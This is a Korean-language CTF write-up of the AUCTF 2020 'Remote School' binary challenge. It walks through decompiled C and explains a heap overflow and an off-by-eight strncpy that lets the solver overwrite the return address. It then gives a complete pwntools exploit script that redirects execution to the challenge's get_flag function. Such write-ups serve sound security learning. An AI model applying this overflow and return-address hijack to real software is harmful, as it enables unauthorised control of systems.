AUCTF2020] Remote School

노션으로 옮김·2020년 4월 6일
2

wargame

목록 보기
38/59
post-thumbnail

문제

문제파일을 실행해보자.

이름과 명령어를 입력받는 프로그램이다.


풀이

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-2008h]@1
  int *v4; // [sp+2004h] [bp-4h]@1

  v4 = &argc;
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to your new online class!");
  puts("We here, at Eon Pillars, we think Zoom is trash and prefer to have our lessions via command line!");
  printf("May I get your name?\n\tName: ");
  fgets(&s, 0x2000, stdin);
  remove_newline(&s);
  printf("Thanks! It is nice to meet you %s!\n\n", &s);
  printf("Well enough of that let's start class ... ");
  class();
}

스택에 이름을 입력받고 class를 호출한다.

class

void __noreturn class()
{
  char *s; // [sp+Ch] [bp-Ch]@1

  s = malloc(0x2000u);
  if ( !s )
  {
    perror("Unable to malloc buffer");
    exit(1);
  }
  while ( 1 )
  {
    puts("What should we do?");
    printf("> [? for menu]: ");
    fgets(s, 0x2000, stdin);
    remove_newline(s);
    cmd_dispatch(s, &cmdtable);
  }
}

heap에 명령어를 입력받고, 입력받은 명령어와 cmdtable을 인자로하여 cmd_dispatch를 호출한다.

cmd_dispatch

int __cdecl cmd_dispatch(char *s, int a2)
{
  int result; // eax@3
  int v3; // eax@4
  char *s1[8]; // [sp+0h] [bp-38h]@4
  int v5; // [sp+20h] [bp-18h]@13
  int j; // [sp+24h] [bp-14h]@8
  char *i; // [sp+28h] [bp-10h]@1
  int v8; // [sp+2Ch] [bp-Ch]@1

  v8 = 0;
  for ( i = strtok(s, " "); i; i = strtok(0, " ") )
  {
    if ( v8 > 7 )
    {
      puts("Command line has too many words");
      return 2;
    }
    v3 = v8++;
    s1[v3] = i;
  }
  if ( v8 )
  {
    for ( j = 0; ; ++j )
    {
      if ( !*(8 * j + a2) )
      {
        printf("%s: Command not found\n", s1[0]);
        return 1;
      }
      if ( **(8 * j + a2) && !strcmp(s1[0], *(8 * j + a2)) )
        break;
    }
    if ( !*(8 * j + a2 + 4) )
      __assert_fail("table[i].func != NULL", "challenge.c", 0xA1u, "cmd_dispatch");
    result = (*(8 * j + a2 + 4))(v8, s1);
    v5 = result;
  }
  else
  {
    result = 0;
  }
  return result;
}
  1. 첫 번째 for문에서, 입력받은 명령어를 파싱하여 s1에 저장한다.
  2. 두 번째 for문에서, 명령어가 a2에 존재하는지 확인하여 존재할 경우 a2에 저장되있는 해당 명령어의 함수를 호출한다.

a2Callerclass에서 전달한 cmdtable이다.※

수 많은 명령어 함수가 있지만, 그 중 주의깊게 살폈던 함수만 정리하겠다.

cmd_attend

void __cdecl cmd_attend(signed int a1, int a2)
{
  char *dest; // [sp+8h] [bp-10h]@1
  signed int i; // [sp+Ch] [bp-Ch]@1

  dest = malloc(4u);
  for ( i = 1; i < a1; ++i )
  {
    strcat(dest, *(4 * i + a2));
    *&dest[strlen(dest)] = 32;
  }
  cmd_dispatch(dest, &classtable);
  free(dest);
}

heap에 4만큼 할당하고, 그 곳에 입력받은 명령어 배열을 strcat으로 이어붙여 저장한다.

힙 오버플로우를 발생시킨다.

처음엔 이것을 이용하여 풀어야 하는 것으로 이해했다.

하지만, 이 오버플로우한 영역을 재활용하여 취약점을 발생시키는 연관된 코드는 없었다.

class_hacker

취약점이 발생하는 함수를 살펴보겠다.

int class_hacker()
{
  char s; // [sp+0h] [bp-2008h]@1

  puts("\nWelcome!");
  fgets(&s, 0x2000, stdin);
  printf("Got %s\n", &s);
  return test(&s);
}

문자열을 입력받고 그것을 인자로 test 함수를 호출한다.

int __cdecl test(char *src)
{
  char dest; // [sp+8h] [bp-810h]@1
  int v3; // [sp+808h] [bp-10h]@1
  _DWORD *v4; // [sp+80Ch] [bp-Ch]@1
  int savedregs; // [sp+818h] [bp+0h]@1

  printf("0x%x\n", &savedregs);
  strncpy(&dest, src, 0x808u);
  *v4 = v3;
  return printf("0x%x\n", v3);
}

ebp 주소를 출력하고,
전달받은 문자열을 strncpytest()의 로컬변수인 dest에 복사한다.

여기서 취약점이 발생한다.

dest의 크기는 0x800이지만, 복사되는 크기는 0x808이다. 영역을 초과하여 뒤에 존재하는 v3, v4 변수를 덮어쓰게 된다.

아래 코드를 보면

  *v4 = v3;

v4에 저장된 주소값에 v3의 값을 덮어쓴다.
둘 다 내가 조작가능한 값이므로 이것을 이용해 RET를 제어할 수 있다.

페이로드

문제에서 get_flag 함수를 제공해주므로 간단히 작성할 수 있다.

class_hacker를 2번 호출한다.

첫 번째 호출에서는 ebp 주소를 저장하여 Return Address를 계산할 것이다.

두 번째 호출에서는, 페이로드를 전송하여 계산된 Return Addressget_flag 주소값을 덮어쓰도록 만들 것이다.

파이썬으로 코드를 작성하였다.

from pwn import *
import re
import time

#p = process('online')
p = remote('challenges.auctf.com', 30013)



#set name
print p.recvrepeat(0.2)
p.sendline('test'*100)


#into class_hacker
print p.recvrepeat(0.2)
p.sendline('attend Hacker')
print p.recvrepeat(0.2)
addr_heap = 0x565745b0
p.sendline('dumm'+p32(addr_heap)*(0x808/4))


#get addr_ebp
time.sleep(1)

data = p.recvrepeat(0.2)
print data
pt = re.compile('0x[0-9a-f]{7,8}')
addr_ebp = pt.findall(data)[0]
print 'get address of ebp : ' + addr_ebp
addr_ebp = int(addr_ebp, 16)


#into class_hacker
print p.recvrepeat(0.2)
p.sendline('attend Hacker')
print p.recvrepeat(0.2)


#send payload(test goto main)
size_toEBP = 0x808
offset_overwrite = 0x10 - 8
offset_dest =  0xc - 8
addr_ret = addr_ebp + 4
addr_printFlag = 0x56556299

p.sendline('a'*(size_toEBP-offset_overwrite)+p32(addr_printFlag)+p32(addr_ret))

주의할 점

class_hacker를 두 번 호출하지 않아도 된다.
나는 문제에서 ebp를 제공해주는 이유가 있을 것이라고 생각해 이를 활용하여 코드를 작성한 것일 뿐이다.

0개의 댓글